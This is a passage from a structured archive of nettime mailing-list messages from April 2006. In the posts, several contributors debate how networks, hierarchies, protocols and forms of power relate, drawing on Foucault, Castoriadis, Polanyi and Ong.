                        "content": "A \"network\" as is being discussed can also be an element within\notherwise hierarchal systems (and indeed as I wrote before you can think\nof hierarchies as themselves being just one type of network structure)\nbut for this discussion consider the following.\n\n- network relationships can (and indeed usually are) just ONE of the\nrelationships that people (or organizations) are a part of. In other\naspects of their life/business they may be in a more ordered\nrelationship.\n\n- the US military (and many other militaries I'm sure) is looking deeply\nat what they term \"network centric warfare\" - this is not just how to\ndeal with an enemy that is organized loosely as a network, it is also a\nrethinking of many, perhaps most aspects of how the military works -\nespecially in the battlefield - to function more like a network than a\nhierarchy. But it is important to recognize that this is all within a\nframework of a hierarchy.\n\nSee http://www.mors.org/publications/phalanx/dec00/feature.htm (John\nGartska the author of this article spoke at MeshForum 2005 - I'll try to\nget his audio up online if I can)\n\nSome of the most complex areas of research today into Networks is\nlooking at how different networks (and even different types of networks)\ninterrelate and interact. The markets example mentioned below is just\none example, others are the interrelations of transportation systems and\ncommunications networks, or of people within organizations (which might\nbe \"networks\" or structured as hierarchies) with other organizations\nsuch as cities, states, countries, political parties, religions in which\nthey may also participate but which may have dramatically different\nstructures.\n\nInternet protocols function not because of military might but because\nthe providers of the underlying tools have all agreed to build on top of\na set of tools. The Internet, which is different than Internet\nProtocols, functions because a few set of key authorities are agreed to\nby many (ICANN, the main \"root\" dns servers, the underlying routing and\nDNS protocols). These are a mix of public and private effort. The pipes\nwhich much of the traffic now goes through are likewise a mix of public\nand private work - microwaves, fiber, cable, and some satellites.\n\nIn terms of the question \"could a 'network' take over the functions of a\nstate\"? I think it would be important to be very clear what you mean by\na \"network\" and to consider how (and if) you account changes in\nstructures over time.\n\ni.e. if by \"network\" you mean a structure where connections are diffuse,\nwhere there is no single node through which information/power has to\nflow - then no, such as system probably does not match up with the\nrequirements of running a state of nearly any significant size - i.e. a\nsystem where at some point the cost of interactions between the nodes is\nvastly higher than the value of the decisions that need to be made, so\nthey have to able to be implemented quickly by some \"authority\"\n\nBut it also is a matter of much interpretation - if you think about\ncurrent states - in many respects they are better represented by complex\nnetworks than by \"simple\" hierarchies - think about terms such as\n\"spheres of influence\" often used to describe the people in a given\ngovernment. Or consider then multiplicity of authority in the US\nGovernment - the at least theoretical checks and balances between the\nparts of government and the many groups of people behind each part of\nthe government (the cabinet of a President, their staff, the political\nparties). It is certainly very possible to look at network maps of all\nof these various people - to look at the formal and informal ties\nbetween them (family ties, financial ties, reporting authorities under\nthe law, committees that they serve together on, the states they\nrepresent etc) and to from that build up a very complex web that shows\nhow everyone is interconnected.\n\nVery likely such a map or better yet series of maps over time would also\nshow differences between the theory (how the formal structures are laid\nout) and the practice, it likely would also show how there are a variety\nof types of ties and links between people - deciding what (and if) to\nrepresent would result in very different diagrams. These intersections\ncould be highly revealing.\n\n(for example in the US government you could look at mapping out formal\nties to political parties - for most politicians this would be easy, for\nmany of the people who serve under them via political appointments it\nwould also be relatively easy, but for many public officials and some\npeople such as some Judges, this might be much trickier) And the\nresulting map might need to be supplemented with other overlays - such\nas geographical ties, religious ties, voting patterns, common\nservice/employment/school ties - all of which might show other groupings\nand structures - even across \"party\" lines.\n\nThe point is that networks are both vital and very complex - it is an\noverloaded term - with too many meanings. \n\nThat is also precisely my own interest in the area - this multiplicity\nof meanings and perspectives, the bringing together of people across\nvery different backgrounds is an area of thought that is vital to many\ndifferent fields - from politics to economics to technology - and each\nfield that thinks about and works with (and within) networks can and\ndoes offer unique insights and perspectives.\n\nShannon\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00053",
                        "date": "Wed, 19 Apr 2006 12:12:01 -0700",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "E1FWKyd&#45;0006HK&#45;Um {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0604/msg00053.html",
                        "content-type": "text/plai",
                        "author_name": "Shannon Clark",
                        "subject": "RE: <nettime> Network, Swarm, Microstructur"
                    },
                    {
                        "from": "elix Stalder <felix {AT} openflows.org>",
                        "content": "On Wednesday, 19. April 2006 18:26, Ned Rossiter wrote:\n\n> I'm really surprised you persist with the idea that networks (as\n> protocols) are without hierarchies:\n> > All networks can be defined by their protocols, [...] Protocols enable\n> > interaction without a hierarchy.\n>\n> Because in that same first paragraph you contradict yourself:\n> > in order to\n> > participate in a network, actors have to adhere to the dominant\n> > protocols.\n\nFirst, networks and hierarchies are different modes of organization. The fact \nthat real-life organizations tend to be hybrids of various sorts does not \nmean that these modes are not distinguisheable on the basis of their \ndifferences. It just means that they can be combined. The fact that there are \nendless shades of grey also does not mean that black and white are the same.\n\n> and later:\n> > In other words, in order to communicate and be productive, one has\n> > to join, by\n> > choice or coercion, a particular networks (or several, more\n> > likely), thus\n> > accept their protocols and have one's view of the world defined by\n> > a shared\n> > horizon\n>\n> adherence is another word for submission, and in the case of networks\n> it's submission to social/technical protocols that is done willingly,\n> although often with tensions of one kind or another (thus the\n> politics of networks). Another way of understanding this is that in\n> order to participate within a network, one must accept the prevailing\n> hierarchies (modalities of governance/protocols). But this isn't to\n> say that hierarchies can't be changed or shifted, only that they exist.\n\nSecond, adherence to a protocol is not the same as submission under a \nhierachy. One of the origins of the term protocol is in diplomacy and it \ndesignated the rules that govern the interaction between the sovereign, say a \nking, and the foreign diplomats stationed at his court. The reason why a \nprotocol was necessary was, and still is, precisely because the foreign \ndiplomats were, and are, not subjects of the king. In fact, they were outside \nthe hierachy, independent of the king. Hence, they needed a set of rules that \ngoverned their interaction. The king could not simply impose his rules.\n\nWhen we speak about social protocols, it's comparable. We write here in \nEnglish. One can say that the grammar is the protocol of language. In order \nto be able to have a conversation here, I must adhere to the conventions of \nEnglish grammar, a foreign language. But must I submit to the conventions of \ngrammar? And for this to be a hierachical situation, who, exactly, would be \nmy superior. Is there someone who effectively regulates the English language? \nAnd who will punish me for my ESL mistakes? \n\nNow, social protocols are often fuzzy, and some rules can be bent, but still, \ntry arranging your words randomly, conversation will stop.\n\n> As a moderator of nettime, you know all too well the way in which\n> hierarchies are played out.\n\nOf course, but nobody ever said that nettime was a pure network. Indeed, there \nare those who think it's fac!st dictatorship.\n\n> So let's accept that hierarchies are essential to networks, and the\n> question of governance is going nowhere for as long as we persist to\n> speak of networks in terms of absolute horizontal relations (or in\n> the case of communes example, spaces of consensus).  That's simply\n> incorrect, and your own text demonstrates that.\n\nHierarchies are not essential to networks, even if they are often combined. \nThere is a difference between a conceptual discussion of ideal types, and \nconcrete analysis of empirical examples.\n\nThe fact that networks are not the space of absolute freedom (whatever that \nwould be), but that there are rules that cannot be easily ignored, does not \nmean that it's a hierarchy. The fact that it's not a hierarchy, on the other \nhand, does not mean that there is no power in networks. It just operates \ndifferently. In hierarchies, power operates through coercion. In networks, it \nworks through exclusion. These are different modes, and it helps to \nacknowlegde such difference when we want to understand the particular \ncharacter of novel combinations. \n\nFelix\n\n\n\n\n\n----http://felix.openflows.org------------------------------ out now:\n*|Manuel Castells and the Theory of the Network Society. Polity, 2006 \n*|Open Cultures and the Nature of Networks. Ed. Futura/Revolver, 2005 \n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00054",
                        "date": "Thu, 20 Apr 2006 00:15:27 +0200",
                        "to": "nettime <nettime-l {AT} bbs.thing.net>",
                        "message-id": "E1FWL0C&#45;0006Hy&#45;5F {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0604/msg00054.html",
                        "content-type": "text/plai",
                        "author_name": "Felix Stalder",
                        "subject": "Re: <nettime> Network, Swarm, Microstructur"
                    },
                    {
                        "from": "Brian Holmes <brian.holmes {AT} wanadoo.fr>",
                        "content": "\nSome thoughts about power\n\nFoucault conceived a mode of sovereign power, related to the \nfunctioning of law in the Middle Ages (transcendent power of \nlife and death, power to banish); a mode of disciplinary \npower, related to the functioning of institutions from the \n16th century onward (collective power to train, to correct, \nto reshape behavior at both sensory-motor and psychological \nlevels); and a mode of liberal power, related to a capacity \nto evaluate the potential benefits, to oneself and/or the \nstate, of circulations of all kinds (power to induce \nself-maximalizing strategies that make behavior predictable \nand modulable, without having to dictate it).\n\nFinally, he also came somewhat reluctantly to admit and \ntheorize the coexistence of all these forms of power, their \nhybridization in specific admixtures. An approach which has \nnot been sufficiently developed imho.\n\nI think the word \"network\" is a better descriptor of \nhardware and of protocols, than of forms of power (ie, \nregular and constraining patterns of social relations). A \nlot of confusion arises because of the desire to make one \nword, network, say much more than it can all alone.\n\nI also happen to think (and this is where I do differ \nslightly from Felix) that the most common contemporary \nnetworks, though not all networks of course, have very weak \nand open protocols. Not particularly binding, somewhat \nexclusive of course, but not intensely exclusive either. The \nInternet can convey words, images, sounds. You can do it all \nfor free with pirated Microsoft bullshit that takes thirty \nseconds to learn. Similarly, you can put a lot of different \nthings on a train, and you can say a lot of different things \nover a telephone. This is massively done all around the \nworld by people with incredibly different motivations, \nentangled in very different sets of constraints, \ndisciplines, hierarchies, systems of law and so on. You can \nconvey a tremendous amount of cultural attitudes, behavioral \ncues, conceptual structures via the net, the train or the \nphone, all of which don't have practically anything to do \nwith the specific protocols of those technologies. It would \nbe sort of strange not to notice that important permeability \nof the most widespread networks, with the most basic \nprotocols. However, the fact that these cultural attitudes \netc. do pass through the net, and through Microsoft, or \nthrough the train and the SNCF, or the phone and Mobistar, \ndoes have its real importance too. The forms of power are \nreorganized by the ones that are dominant.\n\nIn the world today, the liberal form of power is dominant. \nIt is articulated by money first of all. The telos of money \nis to circulate. Its circulation is calculable with \nstatistical methods. People can be expected to follow the \ncues of that circulation, and institutional and control \nfunctions can be built which make that expectation into a \nself-fulfilling prophecy. All this has an incredible effect \nboth on discipline and on one's experience of transcendence. \nBut it doesn't get rid of the influence of inherited \ndisciplines or symbolic divides between the holy and the \nbase, the includable and the excludable.\n\nWhat money with its telos of circulation does do, however, \nis elicit a very clear ethos of resistance among certain \nminorities, an ethos which can and has gone very far in \nerecting all kinds of incitements and constraints to keep \nyou from acting for profit. And so we do, in reality and \nwhen we're lucky, have cooperative networks as well.\n\nWhat's needed is to understand very precisely the large \nnumber of social dynamics that have reconfigured themselves, \nfor better and worse, according to the last great \ndeterritorializing expansion and multiplication of the \ncirculation of money, which has been accompanied and \nfacilitated, even decisively reshaped, by the implementation \nof hyperindividualizing electronic networks.\n\nStudy the expansion of the American currency (or financial \ntechniques), accompanied by the Internet, comsats and TVs, \nand you will learn a lot about the dominant structures of \npower articulated by the underlying logic of liberalism. \nStudy the expansion of the vertically integrated American \ncorporation and you will learn a lot about what discipline \nmeans in the world today. Study the expansion of American \nmilitary bases and you will learn a lot about what sovereign \npower means today. The word American recurrs three times in \nthe sentences above because the currently dominant ways of \narticulating all the three forms of power were invented \nthere, from about 1890 onwards. But that doesn't cancel out \ndeep and strange hybridizations of the type we see all the \ntime, both between the three contemporary (ie dominant) \nforms, and between other kinds of power, sets of behaviors, \nconcepts, values and world views, that have held historical \nsway elsewhere and at different times and that continue to \nreproduce themselves partially in circulating human beings.\n\nThe useful gain that could be made out of this conversation \nis to quit saying a network is this, a network is that. I \ndefinitely don't think you can specify networks to \ncollaboration. Hierarchy can be conveyed perfectly by \nnetwork technology; possessive individualism can express \nitself even better through network technology. However, if \nyou start trying to talk about a specific set of values, \ngoals, world visions and truth claims, and then you \ndelineate the relation between those \"worlds\" and specific \ntechnical functions and  logical protocols that enhance \npeople capacity to act within them, then you can start to \ndescribe some of the great variety of microstructures that \nhave proliferated over the past thirty years.\n\ngreat to hear so many ideas on this subject!\n\nbest, BH\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00055",
                        "date": "Wed, 19 Apr 2006 20:38:03 -0400",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "E1FWSVo&#45;0003r4&#45;Ur {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0604/msg00055.html",
                        "content-type": "text/plai",
                        "author_name": "Brian Holmes",
                        "subject": "Re: <nettime> Network, Swarm, Microstructur"
                    },
                    {
                        "from": "\"Ana L. Vald\u00e9s\" <agora {AT} algonet.se>",
                        "content": "\nI has been working a lot with power and powerstructures. Lived in an anarchist collective in the 80:s\nand we studied our own structures, how we did take decisions, what kind of \"social matrix\" we\ndeveloped, etc. We did a year long workshop with some French psychoanalitics adressing the issue of\nthe power and how the power is reproduced. I don't know how many on the list are familiar with the\nwork of Cornelius Castoriadis, one of Europes most important theorics in the 50:, 60:s and 70:s,\npivotal for the 68:s movement in France. He was one of the founders of the magazine \"Socialisme et\nBarbarie\", http://www.agorainternational.org/index.html, where intellectuals as Jean Francois Lyotard\nwrote.\n\nOne of Castoriadis main work, \"The Imaginary Institution of Society\", coined the expression \"imaginary\nstructures of the society\", the corpus of myths and \"memes\" where the knowledge and the shapes of a\nsociety is written, implemented and transmitted with the aim of reproducing itself. The reading of the\nOedipus myth as a fundational myth is very relevant to understand how the state is reproduced in the\nnuclear family. Pierre Clastres, an anarchist anthropolog, spent many years living with the Guarani, a\nindigenous nation of several thousands individes, living maily in Brazil, Paraguay and Venezuela. The\nGuarani developed a very clever form of selfgestion based on rotatory chiefs and avoid any structure\nrelated to stateship or central administration.\n\nClastres book \"Society Against the State\" is a very interesting complement to Castoriadis work and\nshow the pattern where the power and it's metaphors, state, patriarchy, god, act in the level of our\nsubsconscient and internalizes in us.\n\nWe reproduce a society based on values such as private property, nuclear family, heterosexual\nnormativity, stateship, and we became the power's allies and complices.\n\nWithout our cosent and complicity the power can't be exerced or reproduced.\n\nAna\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00056",
                        "date": "Thu, 20 Apr 2006 10:40:52 +0200",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "E1FWa84&#45;0000jC&#45;G0 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0604/msg00056.html",
                        "content-type": "text/plai",
                        "author_name": "\"Ana L. Vald\u00e9s\"",
                        "subject": "Re: <nettime> Network, Swarm, Microstructur"
                    },
                    {
                        "from": "brian carroll <human {AT} electronetwork.org>",
                        "content": "\nregarding hierarchies and networks, with regard to protocols, etc:\n\nis it possible that network interactions can be 'weighted' with  \nregard to different variables, as to how they function (in terms of  \nvertical/horizontal management of flow or routing of interactions  \nthrough some kind of decision-tree or charting of the way the  \ninteraction exists in the network itself, between nodes?\n\nthis is an attempt to say, could 'the router' or 'hub' in some way be  \na physical modeling of this same questioning of hierarchy and how  \ndecision-making exists with regard to certain dynamics? and thus a  \nstar network may interact differently than a linear bus network  \ntopology, etc.\n\nNetwork Topologies\nhttp://www.delmar.edu/Courses/ITNW2313/network.htm\nhttp://fcit.usf.edu/network/chap5/chap5.htm\n\n(i am not exactly sure what i am trying to get at here, only that it  \nwould seem that there are many 'dimensions' involved, and in this, it  \nwould seem possible that there is a different weighting of a given  \nsituation, in terms of its dynamic relationship within/without a  \ngiven network and its mediation, which would seem to be dynamically  \naddressed -- i.e. as it is related to how the network itself  \nconstitutes/models/governs itself and its interactions --  it also  \nmakes me wonder if it is somewhat akin to 'layers' as Pit Schultz  \nonce wrote about on nettime, etc. that is, some things happen on one  \nlayer and there may be multiple higher/lower level things going on  \n(dimensions) simultaneously, though I am not sure if this is how IP  \nactually works or not...) brian\n\n\n\n brian thomas carroll: research-design-development\n architecture, education, electromagnetism\n http://www.mnartists.org/brian_carroll\n http://www.electronetwork.org/bc/\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00057",
                        "date": "Thu, 20 Apr 2006 10:01:19 -0400",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "E1FWaO7&#45;0000qC&#45;U6 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0604/msg00057.html",
                        "content-type": "text/plai",
                        "author_name": "brian carroll",
                        "subject": "Re: <nettime> Network, Swarm, Microstructur"
                    },
                    {
                        "from": "Brian Holmes <brian.holmes {AT} wanadoo.fr>",
                        "content": "Prem Chandavarkar wrote:\n\n>To me, the power of Kaikini's observations lay in:\n>\n>   1. The transcendent can be found in what is immediately adjacent.\n>   2. We inhabit a reality that does not exist only on one level. \n>      Reality is multi-leveled and complex, and our sense of being\n>      shifts between mundane, terrestrial and transcendent levels.  All\n>      art recognised this, and perhaps this is why art has sat so\n>      comfortable next to religion over several centuries.  Polanyi goes\n>      so far as to say that the more tacit the knowledge is, the more\n>      transcendent it is likely to be.\n>   3. We tend to assume that tacit knowledge, because it cannot be\n>      verbalised, is not shareable - and is therefore less tangible and\n>      real.  But the world that Kaikini (or any other gifted musician)\n>      constructs through his music, even though it is purely tacit, is\n>      tangible, shareable and real enough to have commercial value,\n>      allowing the musician to earn a living through it.\n>\n>While all this may seem far away from the realm of network theory, I \n>believe it is crucial.  Emergent networks build on close-grained local \n>links, and movement between mundane connections and higher levels of \n>being understood through collectively owned patterns.   When one comes \n>to reflexive networks, those patterns hold a sense of transcendence that \n>binds communities.  A theory of reflexive networks must include a theory \n>of knowledge and the links between epistemic systems and social cohesion.\n\nYour text was very interesting, Prem. Particularly the \nabove, which is exactly the point that I was trying to get \nat. I think that the behavior of people, and therefore the \nway they use networks and their specific protocols, is \ngreatly influenced by many factors of aeshetic tastes, value \norientation, cosmology and feeling of community. The \naffective dimension where a musician intervenes is \nfundamental to the kind of orientation I am thinking of. The \naffective dimension is, almost by definition, a realm of the \nproximate, the nearby, closeness.\n\nThe orality/literacy distinction that you mention (Ong) is a \nbinary that took different forms in the twentieth century. \nOne is the distinction by the German sociologist Toennies, \nbetween community and society (or Gemeinschaft und \nGesellschaft, which is the name of the book). That \ndistinction was subsequently taken up and reworked by the \nFrench anthropologist Louis Dumont, in his Homo Aequalis \nbooks (which, interestingly enough, were written after Homo \nHierarchicus, a study of the Indian caste system). Dumont \nobserves that interpersonal relations in most societies \nuntil around the 16th-17th century in Europe were \nhierarchically structured - where the root \"hiero,\" meaning \nsacred, holy, indicates an orientation to transcendance. In \nEurope this gave the notion of a \"great chain of being\" in \nwhich everyone, including both animals and spirits, \nsupposedly occupied a rightful place. What we call the \n\"symbolic\" are all the structures of feeling associated with \nthis traditional notion of rightful places. However, Dumont \nalso believed that since the Enlightenment and the French \nrevolution, \"modernity\" issynonymous with the domination of \nindividualism and the ascendency of equal-to-equal \nrelations, as expressed not only in constitutional law \n(human rights), contractual relations, the money economy and \nso on, but also in the symbolic realm. The notion and the \nfeeling of right changes. He thought that elements of a \nhierarchically structured society, oriented to \ntranscendence, could persist but would be (and must be) \nsubordinated to the order of individualism and equality.\n\nNow, my own view is that this subordination, on which the \nmodern and modernizing projects have been founded, does not \nsufficiently explain our relations to each other, the earth \nand the stars, to put it briefly. It is too brutally \nsimplifying, and so it makes much \"tacit knowledge\" into \nunconscious, unexpressed and unavowed sentiment or \nresentment. It does dictate the conditions of universal law \nthat have achieved the widest distribution across the \nplanet, but it is subject to such tremendous stresses that \nit has now produced yet another huge and violent outburst of \nthe repressed hierarchical demons, in the form of racism, \nfundamentalism and war.\n\nAnother version of the binary mentioned above has been \nrootedness or uprootedness, which is the kind of word that \nmid-twentieth century fascists would use (Dumont saw Fascism \nand Nazism as resistance to the universals of individualism \nand equality). Michael Polanyi's brother, Karl, produced a \nmore interesting reading of this with the distinction \nbetween \"embeddedness\" and \"disembeddedness.\" Karl Polanyi's \nsubject was the market. In his view, a larger set of social \ninstitutions was broken down by the liberal, laissez-faire \nnotion that markets are self-regulating, i.e. that the \noperations of selling for a profit and buying at best price \ncan ensure all the social and ecological conditions needed \nfor their own functioning and reproduction over time. In \nthis way, the specialized domain of the economy was \ndisembedded from the larger domain of society, on which it \nultimately depended. Polanyi too saw Fascism and Nazism as \ndesperate and deadly attempts to reconstruct a social \necology. He believed this reconstruction of closer social \nties and ecological balances had to be done, but with a more \ncareful understanding of the checks and balances required to \nsustain the individual's \"freedom in a complex society.\"\n\nIt's very interesting to learn that Michael Polanyi, the \nepistemologist, developed this binary of the tacit and the \nexplicit. It seems to provide a quite different opening than \nthe previously stated ones, which all derive from the \nfundamentally tragic idea of tie/broken tie, or \ntraditional/modern. The tacit/explicit distinction does not \nseem to be freighted with such dark teleology. The \ncomplementarity of deterritorialization/ \nreterritorialization has a similar openness. I don't think \nGuattari's point is to oppose a modern, uprooted, \ndisembedded, deterritorialized society as superior to an \narchaic, rooted, embedded, territorialized community. Rather \nthe question is to see how everything defamiliarizing (such \nas technology, money, networks, mathematics, abstract art, \nuniversal law, and so forth) will shake up the coordinates \nof our lives, which tend to become oppressive under the \ninfluence of forms of concentrated power, whatever social \nsystem we live under. The question is then how to \nreterritorialize again, each time, how to constitute a play \nof discourses and qualities that do not so much reinforce \nthe symbolic law of \"everyone in their right place\" as open \nup a kind of simultaneous affirmation and questioning of the \nplaces that each one is in, and of the system of places \nthrough which we relate to each other. The qualities \ndeveloped through the use of \"Laya\" and \"Meend,\" for \nexample, can be ways to touch persons where they are \n(through the experience of the note's duration) and in a \nsecond moment, accompany them in a process of displacement \n(through the modulated shift to another note).\n\nNetworks can be conceived and imposed as structures of \nuniversalization, where the system of places (including \nsupposedly egalitarian systems) is built into the hardware \nand the protocols. But I think such conceptions and \nimpositions give an impoverished and often repressive idea \nof what really happens. Social relations within \nmicrostructural networks are being played out collectively, \nin forms ranging from the poetic to the cooperative to the \nterroristic, but always with the same kind of subtle \nattention to the modulation of aesthetic qualities, \naffective relations and cosmic horizons that Kaikini accords \nto the quality of his musical notes. Perhaps this is why \nKaikini, a classical musician, feels at home in modernism. \nHe knows how to make it into a moving territory.\n\nbest, BH\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00058",
                        "date": "Thu, 20 Apr 2006 08:12:19 -0400",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "E1FWaNH&#45;0000pY&#45;AR {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0604/msg00058.html",
                        "content-type": "text/plai",
                        "author_name": "Brian Holmes",
                        "subject": "Re: <nettime> Network, Swarm, Microstructur"
                    },
                    {
                        "from": "Prem Chandavarkar <prem.cnt {AT} gmail.com>",
                        "content": "> I am beginning to think that there are two fundamental\n> factors that help to explain the consistency of\n> self-organized human activity. The first is the existence of\n> a shared horizon - aesthetic, ethical, philosophical, and/or\n> metaphysical - which is patiently and deliberately built up\n> over time, and which gives the members of a group the\n> capacity to recognize each other as existing within the same\n> referential universe, even when they are dispersed and\n> mobile. You can think of this as \"making worlds.\"\n\n\nRecently, I have been very interested in this question.  Being an architect,\nmy interest has been in how collective decisions are made regarding\naesthetic objects - traditional cities, traditional crafts, etc. - all\ndecision making systems that are far removed from the way designers and\nartists are currently trained in a model predicated on avant-garde\nindividual introspective genius.\n\nSome speculation on the subject is in:\n\nCrafting the Public Realm: Speculations on the Role of Open Source\nMethodologies in Development by Design\nhttp://www.thinkcycle.org/tc-filesystem/?folder_id=37457\n\nI draw attention to a reference in the paper regarding a distinction drawn\nby John Seely Brown and Paul Duguid (The Social Life of Information) where\nthey distinguish between \"networks of practice\" and \"communities of\npractice\" (although both are forms of networks).  Members of a network of\npractice have functional or occupational links constituted by electronic and\nother networks that bring them together.  They come together within the\nnarrow horizons of these links and otherwise lead lives that are separate\nfrom the network.  Communities of practice are more tied to geographical\nplace, depend more on face to face encounters, and collectively carry out\npractices that are beyond functional or occupational concerns.  The members\nof the community depend on the network a great deal to construct their\neveryday lives.   I would emphasise the importance of this distinction,\nparticularly in reference to the word \"commune\" that was brought in earlier\nin this discussion.\n\nAlthough it has not been explicitly stated so far, I suspect a great deal of\ninterest in networks expressed in such forums is to tackle a fundamental\ncontradiction in the concept of democracy (and someone did express interest\nin the links between 'networks' and 'governance').  The premise of democracy\nis to provide power to the people, through mechanisms such as universal\nadult franchise.  However for its day to day functioning, democracy has to\nresort to top-down control structures of governance.  This is further\ncomplicated by the fact that decision making swirls around sporadic events\ncalled \"elections\", and elections tend to be dominated by the successes\nachieved in the mobilisation of single cause constituencies.  Network theory\ncan then lend itself to the development of forms of organisation which are\nmore egalitarian, and handle complexity and nuances without trying to\nartificially force issues into single unitised descriptions or concepts.\n\nThe first issue to be tackled is that networks are not inherently\negalitarian and tend to function according to power laws (as pointed out by\nBarabasi in \"Linked\"), where a large percentage of the traffic tends to\nalways move through a small percentage of nodes.  This by itself is not a\nproblem - it all depends on how the hubs behave with reference to\ntransparency of information - do they immediately pass it on to the public\ndomain of the network, or are they selective in what they pass on -\nretaining something for personal gain.    It appears that two fields of\nstudy need to come together on this: network theory (especially power laws\nand how hubs form) on the one hand and legal and ethical theory on property\nrights on the other hand.  If anyone knows of any study where this\nintersection has been explored, please do let me know.\n\nThe second issue I am concerned with is linked to emergence theory, which\nexplores how bottom up development constructs macro-intelligence in complex\norganisations.  Since I do not possess any expertise on this, I can only\nspeculate (based on some readings oriented towards the layperson), and I\nlist below some speculations on characteristics that an emergent network\nneeds to possess:\n\n\n   - close grained high-synchrony neighbour interaction\n   - a major percentage of the interactions are characterised by high\n   levels of information symmetry\n    - random interaction - a high potential for serendipity\n   - indirect control\n   - low level of concern for explicit definitions of the macro picture\n   at the level of the individual unit (as Steven Johnson says in his book on\n   emergence - you would not want one of the neurons in your brain becoming\n   individually sentient)\n   - an impulse towards pattern recognition where patterns are\n   collectively rather than individually owned.\n    - pattern recognition is based on systems of tacit knowledge rather\n   than explicit knowledge (as Michael Polanyi defines it).\n\nThe last point is especially important when we come to human networks, for\nunlike the world of insects, human networks are also reflexive - they can\nthink about themselves.  When this thinking relies on explicit knowledge\nthen there is a tendency for the individual to pull away from the network\n(keeping things at the level of 'networks of practice').  On the other hand,\ntacit knowledge encourages the individual to orient towards the network\n(allowing for the potential of emergent 'communities of practice').  To\nexplore this further I have just ordered Walter Ong's book \"Orality and\nLiteracy\", but I cite below the quotation that piqued my interest, from\nChris Barlas' essay \"The End of the Word is Nigh\" (While Barlas does not\nmention it, I interpret orality belonging more to tacit knowledge, whereas\nliteracy relies on explicit knowledge):\nhttp://rememberingwalterong.com/2004/05/from_1994_writer_chris_barlas.html\n\n\"As Walter Ong, the Jesuit scholar, points out, oral creation is totally\ndifferent from literate creation. It relies not on interiorisation, but on\ncommunity. In his book, Orality And Literacy, he traces the development of\nlanguage through oral to literate cultures and on into the computer culture\nthat may exist in the future. Orality, he suggests, acts like glue within\nsociety. It draws people into groups. It promotes a type of communication\nthat is communal and open. It also encourages a certain way of thinking.\nOrally generated characters tend to the heroic, the generalised, the larger\nthan life. This can be seen in the early classics of Western literature, The\nIliad and The Odyssey.\n\nWhat orally composed epic does not have is a more particularising,\nindividuating tendency that is so crucial in literate society. A written\nculture favours the interior, the personal, the reflective. For instance,\nunlike our pre-literature ancestors who sat round campfires to share\nstories, we do not read in groups. The oral human is caught in a web of\ntimelessness, almost an unconscious state, where the distinction between \"I\"\nand \"you\" is not nearly so well delineated. Literacy, on the other hand, is\nmodernist, productive of an in-built existential loneliness. Without\nliteracy, says Ong, there can be no continued deepening of consciousness, no\nprogress towards individuation. So where does all this point? It focuses on\nour ability to use language in different ways and the way in which our\nthinking is formed by the way we use it. How many people would think of\nwriting itself as a technology? Yet writing is tool-using, a kind of knife\nand fork for the mind. As Ong points out, we are born into orality from the\nmoment we open our mouths. But literacy, or, to use the word coined by the\ncomputer expert and child psychologist Seymour Papert, letteracy, is an\nacquired technology, which has to be painfully learned. Compared to anything\nelse we are conscious of learning in our lives, reading and writing\nconstitute the most complicated achievement. And being most complicated,\nreading and writing tend to dominate our senses. The task is so great that\nfor the literate, the capacity is rated above all others. What is written is\nalways valued above the spoken. The written word has a permanency the spoken\nlacks. You can possess a book, but not a speech.\n\nIt is for this reason that Papert suggests a distinction between letteracy,\nour particularised ability to read and write, and literacy. It is perhaps\nthe innate and particularised loneliness of literacy that prompted Thatcher\nto make her famous remark that there is no such thing as society. While her\nrepresentation of this was clearly deviant and presumably unwitting, she was\nexemplifying a truth. Modern literate society, in which life is increasingly\ninner, is about conflict rather than co-operation. It is a society that\nexcludes rather than includes, that has consistently narrowed its focus. It\nis this type of speculation that could lead a literate individual to\nquestion the health of a commuting society that buries its collective nose\nin a newspaper. Wouldn't it be better if travellers on the 8.13 talked to\none another, rather than take refuge in the privacy of interior worlds?\"\nWhile one cannot wish away the world of literacy, and to seek return to a\nhappy oral world is nothing but a romantic fantasy, this issue does 